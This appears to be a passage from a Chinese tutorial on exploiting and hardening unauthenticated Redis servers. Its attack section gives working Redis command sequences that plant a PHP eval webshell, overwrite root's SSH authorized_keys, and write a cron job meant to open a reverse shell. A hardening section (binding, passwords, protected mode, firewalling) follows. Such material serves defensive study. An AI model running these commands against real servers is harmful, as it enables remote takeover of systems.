紧急预警！Redis未授权访问漏洞利用与防护实战指南

2.2 写入Webshell

SET shell "<?php @eval($_POST'cmd'); ?>"

CONFIG SET dir /var/www/html

CONFIG SET dbfilename shell.php

SAVE

2.3 写入SSH公钥

CONFIG SET dir /root/.ssh

CONFIG SET dbfilename authorized_keys

SET x "\n\n公钥\n\n"

SAVE

2.4 写入CRON定时任务

CONFIG SET dir /var/spool/cron/crontabs

SET x "\n\n* * * * * 反弹Shell命令\n\n"

SAVE

三、防御方案

基础加固

bind 127.0.0.1（只允许内网）

requirepass 强密码

protected-mode yes

port 6380（修改默认端口）

网络层防护

iptables限制访问IP

安全组只开放应用服务器

总结

Redis未授权访问危害极大，防御关键是"默认配置不可信"。

本文仅供合法授权测试使用。